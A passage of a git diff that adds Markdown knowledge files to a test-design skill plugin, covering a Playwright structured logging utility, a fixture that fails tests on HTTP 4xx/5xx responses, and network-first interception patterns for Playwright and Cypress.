+**DON'T ignore the returned Promise:**
+
+```typescript
+interceptNetworkCall({ url: '**/api/users' }); // Not awaited!
+await page.goto('/dashboard');
+// No deterministic wait - race condition
+```
+
+**DO always await the intercept:**
+
+```typescript
+const usersCall = interceptNetworkCall({ url: '**/api/users' });
+await page.goto('/dashboard');
+await usersCall; // Deterministic wait
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/log.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/log.md
new file mode 100644
index 0000000..2edca5a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/log.md
@@ -0,0 +1,426 @@
+# Log Utility
+
+## Principle
+
+Use structured logging that integrates with Playwright's test reports. Support object logging, test step decoration, and multiple log levels (info, step, success, warning, error, debug).
+
+## Rationale
+
+Console.log in Playwright tests has limitations:
+
+- Not visible in HTML reports
+- No test step integration
+- No structured output
+- Lost in terminal noise during CI
+
+The `log` utility provides:
+
+- **Report integration**: Logs appear in Playwright HTML reports
+- **Test step decoration**: `log.step()` creates collapsible steps in UI
+- **Object logging**: Automatically formats objects/arrays
+- **Multiple levels**: info, step, success, warning, error, debug
+- **Optional console**: Can disable console output but keep report logs
+
+## Quick Start
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+// Basic logging
+await log.info('Starting test');
+await log.step('Test step shown in Playwright UI');
+await log.success('Operation completed');
+await log.warning('Something to note');
+await log.error('Something went wrong');
+await log.debug('Debug information');
+```
+
+## Pattern Examples
+
+### Example 1: Basic Logging Levels
+
+**Context**: Log different types of messages throughout test execution.
+
+**Implementation**:
+
+```typescript
+import { log } from '@seontechnologies/playwright-utils';
+
+test('logging demo', async ({ page }) => {
+  await log.step('Navigate to login page');
+  await page.goto('/login');
+
+  await log.info('Entering credentials');
+  await page.fill('#username', 'testuser');
+
+  await log.success('Login successful');
+
+  await log.warning('Rate limit approaching');
+
+  await log.debug({ userId: '123', sessionId: 'abc' });
+
+  // Errors still throw but get logged first
+  try {
+    await page.click('#nonexistent');
+  } catch (error) {
+    await log.error('Click failed', false); // false = no console output
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `step()` creates collapsible steps in Playwright UI
+- `info()`, `success()`, `warning()` for different message types
+- `debug()` for detailed data (objects/arrays)
+- `error()` with optional console suppression
+- All logs appear in test reports
+
+### Example 2: Object and Array Logging
+
+**Context**: Log structured data for debugging without cluttering console.
+
+**Implementation**:
+
+```typescript
+test('object logging', async ({ apiRequest }) => {
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/users',
+  });
+
+  // Log array of objects
+  await log.debug(body); // Formatted as JSON in report
+
+  // Log specific object
+  await log.info({
+    totalUsers: body.length,
+    firstUser: body[0]?.name,
+    timestamp: new Date().toISOString(),
+  });
+
+  // Complex nested structures
+  await log.debug({
+    request: {
+      method: 'GET',
+      path: '/api/users',
+      timestamp: Date.now(),
+    },
+    response: {
+      status: 200,
+      body: body.slice(0, 3), // First 3 items
+    },
+  });
+});
+```
+
+**Key Points**:
+
+- Objects auto-formatted as pretty JSON
+- Arrays handled gracefully
+- Nested structures supported
+- All visible in Playwright report attachments
+
+### Example 3: Test Step Organization
+
+**Context**: Organize test execution into collapsible steps for better readability in reports.
+
+**Implementation**:
+
+```typescript
+test('organized with steps', async ({ page, apiRequest }) => {
+  await log.step('ARRANGE: Setup test data');
+  const { body: user } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'Test User' },
+  });
+
+  await log.step('ACT: Perform user action');
+  await page.goto(`/users/${user.id}`);
+  await page.click('#edit');
+  await page.fill('#name', 'Updated Name');
+  await page.click('#save');
+
+  await log.step('ASSERT: Verify changes');
+  await expect(page.getByText('Updated Name')).toBeVisible();
+
+  // In Playwright UI, each step is collapsible
+});
+```
+
+**Key Points**:
+
+- `log.step()` creates collapsible sections
+- Organize by Arrange-Act-Assert
+- Steps visible in Playwright trace viewer
+- Better debugging when tests fail
+
+### Example 4: Test Step Decorators
+
+**Context**: Create collapsible test steps in Playwright UI using decorators.
+
+**Page Object Methods with @methodTestStep:**
+
+```typescript
+import { methodTestStep } from '@seontechnologies/playwright-utils';
+
+class TodoPage {
+  constructor(private page: Page) {
+    this.name = 'TodoPage';
+  }
+
+  readonly name: string;
+
+  @methodTestStep('Add todo item')
+  async addTodo(text: string) {
+    await log.info(`Adding todo: ${text}`);
+    const newTodo = this.page.getByPlaceholder('What needs to be done?');
+    await newTodo.fill(text);
+    await newTodo.press('Enter');
+    await log.step('step within a decorator');
+    await log.success(`Added todo: ${text}`);
+  }
+
+  @methodTestStep('Get all todos')
+  async getTodos() {
+    await log.info('Getting all todos');
+    return this.page.getByTestId('todo-title');
+  }
+}
+```
+
+**Function Helpers with functionTestStep:**
+
+```typescript
+import { functionTestStep } from '@seontechnologies/playwright-utils';
+
+// Define todo items for the test
+const TODO_ITEMS = ['buy groceries', 'pay bills', 'schedule meeting'];
+
+const createDefaultTodos = functionTestStep('Create default todos', async (page: Page) => {
+  await log.info('Creating default todos');
+  await log.step('step within a functionWrapper');
+  const todoPage = new TodoPage(page);
+
+  for (const item of TODO_ITEMS) {
+    await todoPage.addTodo(item);
+  }
+
+  await log.success('Created all default todos');
+});
+
+const checkNumberOfTodosInLocalStorage = functionTestStep('Check total todos count fn-step', async (page: Page, expected: number) => {
+  await log.info(`Verifying todo count: ${expected}`);
+  const result = await page.waitForFunction((e) => JSON.parse(localStorage['react-todos']).length === e, expected);
+  await log.success(`Verified todo count: ${expected}`);
+  return result;
+});
+```
+
+### Example 5: File Logging
+
+**Context**: Enable file logging for persistent logs.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { log, captureTestContext } from '@seontechnologies/playwright-utils';
+
+// Configure file logging globally
+log.configure({
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs/organized-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Extend base test with file logging context capture
+export const test = base.extend({
+  // Auto-capture test context for file logging
+  autoTestContext: [
+    async ({}, use, testInfo) => {
+      captureTestContext(testInfo);
+      await use(undefined);
+    },
+    { auto: true },
+  ],
+});
+```
+
+### Example 6: Integration with Auth and API
+
+**Context**: Log authenticated API requests with tokens (safely).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+// Helper to create safe token preview
+function createTokenPreview(token: string): string {
+  if (!token || token.length < 10) return '[invalid]';
+  return `${token.slice(0, 6)}...${token.slice(-4)}`;
+}
+
+test('should log auth flow', async ({ authToken, apiRequest }) => {
+  await log.info(`Using token: ${createTokenPreview(authToken)}`);
+
+  await log.step('Fetch protected resource');
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await log.debug({
+    status,
+    bodyPreview: {
+      id: body.id,
+      recordCount: body.data?.length,
+    },
+  });
+
+  await log.success('Protected resource accessed successfully');
+});
+```
+
+**Key Points**:
+
+- Never log full tokens (security risk)
+- Use preview functions for sensitive data
+- Combine with auth and API utilities
+- Log at appropriate detail level
+
+## Configuration
+
+**Defaults:** console logging enabled, file logging disabled.
+
+```typescript
+// Enable file logging in config
+log.configure({
+  console: true, // default
+  fileLogging: {
+    enabled: true,
+    outputDir: 'playwright-logs',
+    forceConsolidated: false, // One file per test
+  },
+});
+
+// Per-test override
+await log.info('Message', {
+  console: { enabled: false },
+  fileLogging: { enabled: true },
+});
+```
+
+### Environment Variables
+
+```bash
+# Disable all logging
+SILENT=true
+
+# Disable only file logging
+DISABLE_FILE_LOGS=true
+
+# Disable only console logging
+DISABLE_CONSOLE_LOGS=true
+```
+
+### Level Filtering
+
+```typescript
+log.configure({
+  level: 'warning', // Only warning, error levels will show
+});
+
+// Available levels (in priority order):
+// debug < info < step < success < warning < error
+```
+
+### Sync Methods
+
+For non-test contexts (global setup, utility functions):
+
+```typescript
+// Use sync methods when async/await isn't available
+log.infoSync('Initializing configuration');
+log.successSync('Environment configured');
+log.errorSync('Setup failed');
+```
+
+## Log Levels Guide
+
+| Level     | When to Use                         | Shows in Report   | Shows in Console |
+| --------- | ----------------------------------- | ----------------- | ---------------- |
+| `step`    | Test organization, major actions    | Collapsible steps | Yes              |
+| `info`    | General information, state changes  | Yes               | Yes              |
+| `success` | Successful operations               | Yes               | Yes              |
+| `warning` | Non-critical issues, skipped checks | Yes               | Yes              |
+| `error`   | Failures, exceptions                | Yes               | Configurable     |
+| `debug`   | Detailed data, objects              | Yes (attached)    | Configurable     |
+
+## Comparison with console.log
+
+| console.log             | log Utility               |
+| ----------------------- | ------------------------- |
+| Not in reports          | Appears in reports        |
+| No test steps           | Creates collapsible steps |
+| Manual JSON.stringify() | Auto-formats objects      |
+| No log levels           | 6 log levels              |
+| Lost in CI output       | Preserved in artifacts    |
+
+## Related Fragments
+
+- `overview.md` - Basic usage and imports
+- `api-request.md` - Log API requests
+- `auth-session.md` - Log auth flow (safely)
+- `recurse.md` - Log polling progress
+
+## Anti-Patterns
+
+**DON'T log objects in steps:**
+
+```typescript
+await log.step({ user: 'test', action: 'create' }); // Shows empty in UI
+```
+
+**DO use strings for steps, objects for debug:**
+
+```typescript
+await log.step('Creating user: test'); // Readable in UI
+await log.debug({ user: 'test', action: 'create' }); // Detailed data
+```
+
+**DON'T log sensitive data:**
+
+```typescript
+await log.info(`Password: ${password}`); // Security risk!
+await log.info(`Token: ${authToken}`); // Full token exposed!
+```
+
+**DO use previews or omit sensitive data:**
+
+```typescript
+await log.info('User authenticated successfully'); // No sensitive data
+await log.debug({ tokenPreview: token.slice(0, 6) + '...' });
+```
+
+**DON'T log excessively in loops:**
+
+```typescript
+for (const item of items) {
+  await log.info(`Processing ${item.id}`); // 100 log entries!
+}
+```
+
+**DO log summary or use debug level:**
+
+```typescript
+await log.step(`Processing ${items.length} items`);
+await log.debug({ itemIds: items.map((i) => i.id) }); // One log entry
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-error-monitor.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-error-monitor.md
new file mode 100644
index 0000000..e19771d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-error-monitor.md
@@ -0,0 +1,401 @@
+# Network Error Monitor
+
+## Principle
+
+Automatically detect and fail tests when HTTP 4xx/5xx errors occur during execution. Act like Sentry for tests - catch silent backend failures even when UI passes assertions.
+
+## Rationale
+
+Traditional Playwright tests focus on UI:
+
+- Backend 500 errors ignored if UI looks correct
+- Silent failures slip through
+- No visibility into background API health
+- Tests pass while features are broken
+
+The `network-error-monitor` provides:
+
+- **Automatic detection**: All HTTP 4xx/5xx responses tracked
+- **Test failures**: Fail tests with backend errors (even if UI passes)
+- **Structured artifacts**: JSON reports with error details
+- **Smart opt-out**: Disable for validation tests expecting errors
+- **Deduplication**: Group repeated errors by pattern
+- **Domino effect prevention**: Limit test failures per error pattern
+- **Respects test status**: Won't suppress actual test failures
+
+## Quick Start
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// That's it! Network monitoring is automatically enabled
+test('my test', async ({ page }) => {
+  await page.goto('/dashboard');
+  // If any HTTP 4xx/5xx errors occur, the test will fail
+});
+```
+
+## Pattern Examples
+
+### Example 1: Basic Auto-Monitoring
+
+**Context**: Automatically fail tests when backend errors occur.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Monitoring automatically enabled
+test('should load dashboard', async ({ page }) => {
+  await page.goto('/dashboard');
+  await expect(page.locator('h1')).toContainText('Dashboard');
+
+  // Passes if no HTTP errors
+  // Fails if any 4xx/5xx errors detected with clear message:
+  //    "Network errors detected: 2 request(s) failed"
+  //    Failed requests:
+  //      GET 500 https://api.example.com/users
+  //      POST 503 https://api.example.com/metrics
+});
+```
+
+**Key Points**:
+
+- Zero setup - auto-enabled for all tests
+- Fails on any 4xx/5xx response
+- Structured error message with URLs and status codes
+- JSON artifact attached to test report
+
+### Example 2: Opt-Out for Validation Tests
+
+**Context**: Some tests expect errors (validation, error handling, edge cases).
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Opt-out with annotation
+test('should show error on invalid input', { annotation: [{ type: 'skipNetworkMonitoring' }] }, async ({ page }) => {
+  await page.goto('/form');
+  await page.click('#submit'); // Triggers 400 error
+
+  // Monitoring disabled - test won't fail on 400
+  await expect(page.getByText('Invalid input')).toBeVisible();
+});
+
+// Or opt-out entire describe block
+test.describe('error handling', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  test('handles 404', async ({ page }) => {
+    // All tests in this block skip monitoring
+  });
+
+  test('handles 500', async ({ page }) => {
+    // Monitoring disabled
+  });
+});
+```
+
+**Key Points**:
+
+- Use annotation `{ type: 'skipNetworkMonitoring' }`
+- Can opt-out single test or entire describe block
+- Monitoring still active for other tests
+- Perfect for intentional error scenarios
+
+### Example 3: Respects Test Status
+
+**Context**: The monitor respects final test statuses to avoid suppressing important test outcomes.
+
+**Behavior by test status:**
+
+- **`failed`**: Network errors logged as additional context, not thrown
+- **`timedOut`**: Network errors logged as additional context
+- **`skipped`**: Network errors logged, skip status preserved
+- **`interrupted`**: Network errors logged, interrupted status preserved
+- **`passed`**: Network errors throw and fail the test
+
+**Example with test.skip():**
+
+```typescript
+test('feature gated test', async ({ page }) => {
+  const featureEnabled = await checkFeatureFlag();
+  test.skip(!featureEnabled, 'Feature not enabled');
+  // If skipped, network errors won't turn this into a failure
+  await page.goto('/new-feature');
+});
+```
+
+### Example 4: Excluding Legitimate Errors
+
+**Context**: Some endpoints legitimately return 4xx/5xx responses.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [
+      /email-cluster\/ml-app\/has-active-run/, // ML service returns 404 when no active run
+      /idv\/session-templates\/list/, // IDV service returns 404 when not configured
+      /sentry\.io\/api/, // External Sentry errors should not fail tests
+    ],
+  }),
+);
+```
+
+**For merged fixtures:**
+
+```typescript
+import { test as base, mergeTests } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [/analytics\.google\.com/, /cdn\.example\.com/],
+  }),
+);
+
+export const test = mergeTests(authFixture, networkErrorMonitor);
+```
+
+### Example 5: Preventing Domino Effect
+
+**Context**: One failing endpoint shouldn't fail all tests.
+
+**Implementation**:
+
+```typescript
+import { test as base } from '@playwright/test';
+import { createNetworkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+const networkErrorMonitor = base.extend(
+  createNetworkErrorMonitorFixture({
+    excludePatterns: [], // Required when using maxTestsPerError
+    maxTestsPerError: 1, // Only first test fails per error pattern, rest just log
+  }),
+);
+```
+
+**How it works:**
+
+When `/api/v2/case-management/cases` returns 500:
+
+- **First test** encountering this error: **FAILS** with clear error message
+- **Subsequent tests** encountering same error: **PASSES** but logs warning
+
+Error patterns are grouped by `method + status + base path`:
+
+- `GET /api/v2/case-management/cases/123` -> Pattern: `GET:500:/api/v2/case-management`
+- `GET /api/v2/case-management/quota` -> Pattern: `GET:500:/api/v2/case-management` (same group!)
+- `POST /api/v2/case-management/cases` -> Pattern: `POST:500:/api/v2/case-management` (different group!)
+
+**Why include HTTP method?** A GET 404 vs POST 404 might represent different issues:
+
+- `GET 404 /api/users/123` -> User not found (expected in some tests)
+- `POST 404 /api/users` -> Endpoint doesn't exist (critical error)
+
+**Output for subsequent tests:**
+
+```
+Warning: Network errors detected but not failing test (maxTestsPerError limit reached):
+  GET 500 https://api.example.com/api/v2/case-management/cases
+```
+
+**Recommended configuration:**
+
+```typescript
+createNetworkErrorMonitorFixture({
+  excludePatterns: [...], // Required - known broken endpoints (can be empty [])
+  maxTestsPerError: 1     // Stop domino effect (requires excludePatterns)
+})
+```
+
+**Understanding worker-level state:**
+
+Error pattern counts are stored in worker-level global state:
+
+```typescript
+// test-file-1.spec.ts (runs in Worker 1)
+test('test A', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS
+
+// test-file-2.spec.ts (runs later in Worker 1)
+test('test B', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // PASSES (limit reached)
+
+// test-file-3.spec.ts (runs in Worker 2 - different worker)
+test('test C', () => {
+  /* triggers GET:500:/api/v2/cases */
+}); // FAILS (fresh worker)
+```
+
+### Example 6: Integration with Merged Fixtures
+
+**Context**: Combine network-error-monitor with other utilities.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as networkErrorMonitorFixture } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+export const test = mergeTests(
+  authFixture,
+  networkErrorMonitorFixture,
+  // Add other fixtures
+);
+
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('authenticated with monitoring', async ({ page, authToken }) => {
+  // Both auth and network monitoring active
+  await page.goto('/protected');
+
+  // Fails if backend returns errors during auth flow
+});
+```
+
+**Key Points**:
+
+- Combine with `mergeTests`
+- Works alongside all other utilities
+- Monitoring active automatically
+- No extra setup needed
+
+### Example 7: Artifact Structure
+
+**Context**: Debugging failed tests with network error artifacts.
+
+When test fails due to network errors, artifact attached:
+
+```json
+[
+  {
+    "url": "https://api.example.com/users",
+    "status": 500,
+    "method": "GET",
+    "timestamp": "2025-11-10T12:34:56.789Z"
+  },
+  {
+    "url": "https://api.example.com/metrics",
+    "status": 503,
+    "method": "POST",
+    "timestamp": "2025-11-10T12:34:57.123Z"
+  }
+]
+```
+
+## Implementation Details
+
+### How It Works
+
+1. **Fixture Extension**: Uses Playwright's `base.extend()` with `auto: true`
+2. **Response Listener**: Attaches `page.on('response')` listener at test start
+3. **Multi-Page Monitoring**: Automatically monitors popups and new tabs via `context.on('page')`
+4. **Error Collection**: Captures 4xx/5xx responses, checking exclusion patterns
+5. **Try/Finally**: Ensures error processing runs even if test fails early
+6. **Status Check**: Only throws errors if test hasn't already reached final status
+7. **Artifact**: Attaches JSON file to test report for debugging
+
+### Performance
+
+The monitor has minimal performance impact:
+
+- Event listener overhead: ~0.1ms per response
+- Memory: ~200 bytes per unique error
+- No network delay (observes responses, doesn't intercept them)
+
+## Comparison with Alternatives
+
+| Approach                    | Network Error Monitor | Manual afterEach      |
+| --------------------------- | --------------------- | --------------------- |
+| **Setup Required**          | Zero (auto-enabled)   | Every test file       |
+| **Catches Silent Failures** | Yes                   | Yes (if configured)   |
+| **Structured Artifacts**    | JSON attached         | Custom impl           |
+| **Test Failure Safety**     | Try/finally           | afterEach may not run |
+| **Opt-Out Mechanism**       | Annotation            | Custom logic          |
+| **Status Aware**            | Respects skip/failed  | No                    |
+
+## When to Use
+
+**Auto-enabled for:**
+
+- All E2E tests
+- Integration tests
+- Any test hitting real APIs
+
+**Opt-out for:**
+
+- Validation tests (expecting 4xx)
+- Error handling tests (expecting 5xx)
+- Offline tests (network-recorder playback)
+
+## Troubleshooting
+
+### Test fails with network errors but I don't see them in my app
+
+The errors might be happening during page load or in background polling. Check the `network-errors.json` artifact in your test report for full details including timestamps.
+
+### False positives from external services
+
+Configure exclusion patterns as shown in the "Excluding Legitimate Errors" section above.
+
+### Network errors not being caught
+
+Ensure you're importing the test from the correct fixture:
+
+```typescript
+// Correct
+import { test } from '@seontechnologies/playwright-utils/network-error-monitor/fixtures';
+
+// Wrong - this won't have network monitoring
+import { test } from '@playwright/test';
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixtures
+- `fixtures-composition.md` - Merging with other utilities
+- `error-handling.md` - Traditional error handling patterns
+
+## Anti-Patterns
+
+**DON'T opt out of monitoring globally:**
+
+```typescript
+// Every test skips monitoring
+test.use({ annotation: [{ type: 'skipNetworkMonitoring' }] });
+```
+
+**DO opt-out only for specific error tests:**
+
+```typescript
+test.describe('error scenarios', { annotation: [{ type: 'skipNetworkMonitoring' }] }, () => {
+  // Only these tests skip monitoring
+});
+```
+
+**DON'T ignore network error artifacts:**
+
+```typescript
+// Test fails, artifact shows 500 errors
+// Developer: "Works on my machine" ¯\_(ツ)_/¯
+```
+
+**DO check artifacts for root cause:**
+
+```typescript
+// Read network-errors.json artifact
+// Identify failing endpoint: GET /api/users -> 500
+// Fix backend issue before merging
+```
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-first.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-first.md
new file mode 100644
index 0000000..fcc31a9
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/network-first.md
@@ -0,0 +1,486 @@
+# Network-First Safeguards
+
+## Principle
+
+Register network interceptions **before** any navigation or user action. Store the interception promise and await it immediately after the triggering step. Replace implicit waits with deterministic signals based on network responses, spinner disappearance, or event hooks.
+
+## Rationale
+
+The most common source of flaky E2E tests is **race conditions** between navigation and network interception:
+
+- Navigate then intercept = missed requests (too late)
+- No explicit wait = assertion runs before response arrives
+- Hard waits (`waitForTimeout(3000)`) = slow, unreliable, brittle
+
+Network-first patterns provide:
+
+- **Zero race conditions**: Intercept is active before triggering action
+- **Deterministic waits**: Wait for actual response, not arbitrary timeouts
+- **Actionable failures**: Assert on response status/body, not generic "element not found"
+- **Speed**: No padding with extra wait time
+
+## Pattern Examples
+
+### Example 1: Intercept Before Navigate Pattern
+
+**Context**: The foundational pattern for all E2E tests. Always register route interception **before** the action that triggers the request (navigation, click, form submit).
+
+**Implementation**:
+
+```typescript
+// ✅ CORRECT: Intercept BEFORE navigate
+test('user can view dashboard data', async ({ page }) => {
+  // Step 1: Register interception FIRST
+  const usersPromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  // Step 2: THEN trigger the request
+  await page.goto('/dashboard');
+
+  // Step 3: THEN await the response
+  const usersResponse = await usersPromise;
+  const users = await usersResponse.json();
+
+  // Step 4: Assert on structured data
+  expect(users).toHaveLength(10);
+  await expect(page.getByText(users[0].name)).toBeVisible();
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display users', () => {
+    // Step 1: Register interception FIRST
+    cy.intercept('GET', '**/api/users').as('getUsers');
+
+    // Step 2: THEN trigger
+    cy.visit('/dashboard');
+
+    // Step 3: THEN await
+    cy.wait('@getUsers').then((interception) => {
+      // Step 4: Assert on structured data
+      expect(interception.response.statusCode).to.equal(200);
+      expect(interception.response.body).to.have.length(10);
+      cy.contains(interception.response.body[0].name).should('be.visible');
+    });
+  });
+});
+
+// ❌ WRONG: Navigate BEFORE intercept (race condition!)
+test('flaky test example', async ({ page }) => {
+  await page.goto('/dashboard'); // Request fires immediately
+
+  const usersPromise = page.waitForResponse('/api/users'); // TOO LATE - might miss it
+  const response = await usersPromise; // May timeout randomly
+});
+```
+
+**Key Points**:
+
+- Playwright: Use `page.waitForResponse()` with URL pattern or predicate **before** `page.goto()` or `page.click()`
+- Cypress: Use `cy.intercept().as()` **before** `cy.visit()` or `cy.click()`
+- Store promise/alias, trigger action, **then** await response
+- This prevents 95% of race-condition flakiness in E2E tests
+
+### Example 2: HAR Capture for Debugging
+
+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
